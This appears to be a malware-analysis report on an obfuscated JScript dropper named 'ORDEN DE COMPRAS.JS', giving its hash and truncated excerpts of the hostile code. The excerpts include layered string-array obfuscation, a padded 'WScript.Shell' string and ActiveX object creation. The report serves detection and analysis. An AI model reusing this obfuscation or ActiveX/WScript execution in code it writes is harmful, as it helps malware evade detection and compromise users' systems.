ORDEN DE COMPRAS.JS
Obfuscated ActiveX dropper
Layered JavaScript obfuscation hides a decoded WSH payload writeObfuscated JScript invokes ActiveX SaveToFile
SHA-256deddb909e3a5b0b89bf525636ca7fc4a7d560956767bae59e0f807fae28e6c9c
Evidence
18:462… 7(0x5e4,0x522))/0x9;
19 if(LTNSHNWYZGDWZKZR15055===LTNSHNWYZGDWZKZR14335)break;
20 else LTNSHNWYZGDWZKZR34269['push'](LTNSHNWYZGDWZKZR34269['shift']());
21
22 }catch(LTNSHNWYZGDWZKZR1735){
⋯4 lines
27}(LTNSHNWYZGDWZKZR97745,0x62272));
28var LTNSHNWYZGDWZKZR664=LTNSHNWYZGDWZKZR80842;
29(function(LTNSHNWYZGDWZKZR712,LTNSHNWYZGDWZKZR41775){
30 var LTNSHNWYZGDWZKZR45162=LTNSHNWYZGDWZKZR80842,LTNSHNWYZGDWZKZR47285=LTNSHNWYZGDWZKZR712();
31 function LTNSHNWYZGDWZKZR831 …
36:684… SHNWYZGDWZKZR45162(0xf08))/(0x20ed+0x242f+-0x4512));
37 if(LTNSHNWYZGDWZKZR17545===LTNSHNWYZGDWZKZR41775)break;
38 else LTNSHNWYZGDWZKZR47285[LTNSHNWYZGDWZKZR83102(0x10e5,0xc3b)](LTNSHNWYZGDWZKZR47285[LTNSHNWYZGDWZKZR83102(0xe4e,0x881)]());
39
40 }catch(LTNSHNWYZGDWZKZR72876){
41 LTNSHNWYZGDWZKZR47285[LTNSHNWYZGDWZKZR83102(0x73a,0xc3b)](LTNSHNWYZGDWZKZR47285[LTNSHNWYZGDWZKZR83102(0x878,0x881)]());
42
43 }
⋯5 lines
50:42… 19514[LTNSHNWYZGDWZKZR51408(0x6be)];
51
52}var LTNSHNWYZGDWZKZR47312=LTNSHNWYZGDWZKZR73426;
53function LTNSHNWYZGDWZKZR97745(){
54 var LTNSHNWYZGDWZKZR33669=['Jbgww','WONoz','hWPAJ','RMmaQ','MUyao','ZPvtn','wOihC','WFYec','fyHaG','yvPCC','oUmlb','EaZrf','tmlkY','ZrPbh','bTfIm','jwQOw','EmZSb','jdxGx','YAPGP','YjecA','QWmpP','QmXMI','IXxkR','yLQIA','YrXrp','jKZTn','KPuBN','JQFgy','InSqN','gIROJ','QEcIn','tnKiE','BGwzb','cPCon','sfhfB','agSda','Frcpi','RAWYs','dWSxC','NGZhL','fLeHr','CqMdb','CeSQB','WZoAk','jZPrF','nVruG','zoaDJ','fisFn','ALDSY','ioeMA','RxOGT','CrnUO','FLAGS.TF','LBgzl','sDfea','DUlLH','JvNHE','PCMPO','UUdOL','sFlil','ccgay','EMrGJ','jXPUi','NaOBN','YESSSSSSSS','fzVuN','tGOMD','RVMav','PyOms','VltJd','uQqbB','OVyrG','lCZJH','VQLpE','LTNSHNWYZGDWZKZROIIIIIIIantsh','flvut','EVEX.LIG.F3.MAP5.W0\x205D\x20/r','hmVbc','cwfbX','KtGFe','arGOP','WpUNn','eRWCC','SpTRJ','Zfbxc','GuWCv','oBwnc','ynWLb','aPoIR','BMI','iSdoI','NFZDt','nqLln','OCteP','Alignment\x20check\x20flag.','cEFaF','Nkyoi','sSKDO','ifmxg','uZtgr','EVEX.256.NP.0F3A.W0\x2066\x20/r\x20ib','mVRav','WVRni','UCctE','JPUAh','yEvtM','NrOeD','moSSI','vSyMZ','UyBJH','#####################################################W#####################################################S#####################################################c#####################################################ri#####################################################p#####################################################t.#####################################################S#####################################################h#####################################################e#####################################################l#####################################################l#####################################################','jIseC','pdnrv','OiFnE','IsifL','AESNI','rebkM','vvrRJ','DhEwS','Wvdpx','W:zmm\x20{kz},\x20zmm/m512/b16\x20{sae}','PzpXW','qSCPf','zIzGK','dLPsC','QRMdS','PMPxc','rNJnJ','btMDz','jQKEJ','dUktA','LTNSHNWYZGDWZKZROIIIIIsub213ph','Lufeg','TkOcf','YAnNo','jonfp','uzVEX','kLxtp','NFnCt','EtgKI','hjBGl','sqOAm','PAlfs','uzuqW','sHmuM …
1450:29… HNWYZGDWZKZR37093[LTNSHNWYZGDWZKZR54549(0x420)](LTNSHNWYZGDWZKZR41531,-0xb*-0xcd+0x11e7+-0x1926);
1451
1452}var LTNSHNWYZGDWZKZRTLY=new ActiveXObject(LTNSHNWYZGDWZKZRALZ);
1453function LTNSHNWYZGDWZKZRCX(LTNSHNWYZGDWZKZR47052){
1454 var LTNSHNWYZGDWZKZR58013=LTNSHNWYZGDWZKZR664,LTNSHNWYZGDWZKZR2179={
1455 'TVbXV':function(LTNSHNWYZGDWZKZR2262,LTNSHNWYZGDWZKZR86188){
1456 return LTNSHNWYZGDWZKZR2262(LTNSHNWYZGDWZKZR86188);
1457 …
1532:31… SHNWYZGDWZKZR45959[LTNSHNWYZGDWZKZR8823(0x63d)](LTNSHNWYZGDWZKZR4527,-0x19db+-0x19b2+0x351d);
1533
1534 }var LTNSHNWYZGDWZKZRUIH=WScript[LTNSHNWYZGDWZKZR47312(-0x6*0x297+-0x1ff0+-0xa3*-0x4f)];
1535 function LTNSHNWYZGDWZKZRCX(LTNSHNWYZGDWZKZR32105){
1536 var LTNSHNWYZGDWZKZR30739=LTNSHNWYZGDWZKZR664,LTNSHNWYZGDWZKZR9971={
1537 'FWiVG':function(LTNSHNWYZGDWZKZR21348,LTNSHNWYZGDWZKZR3742){
1538 …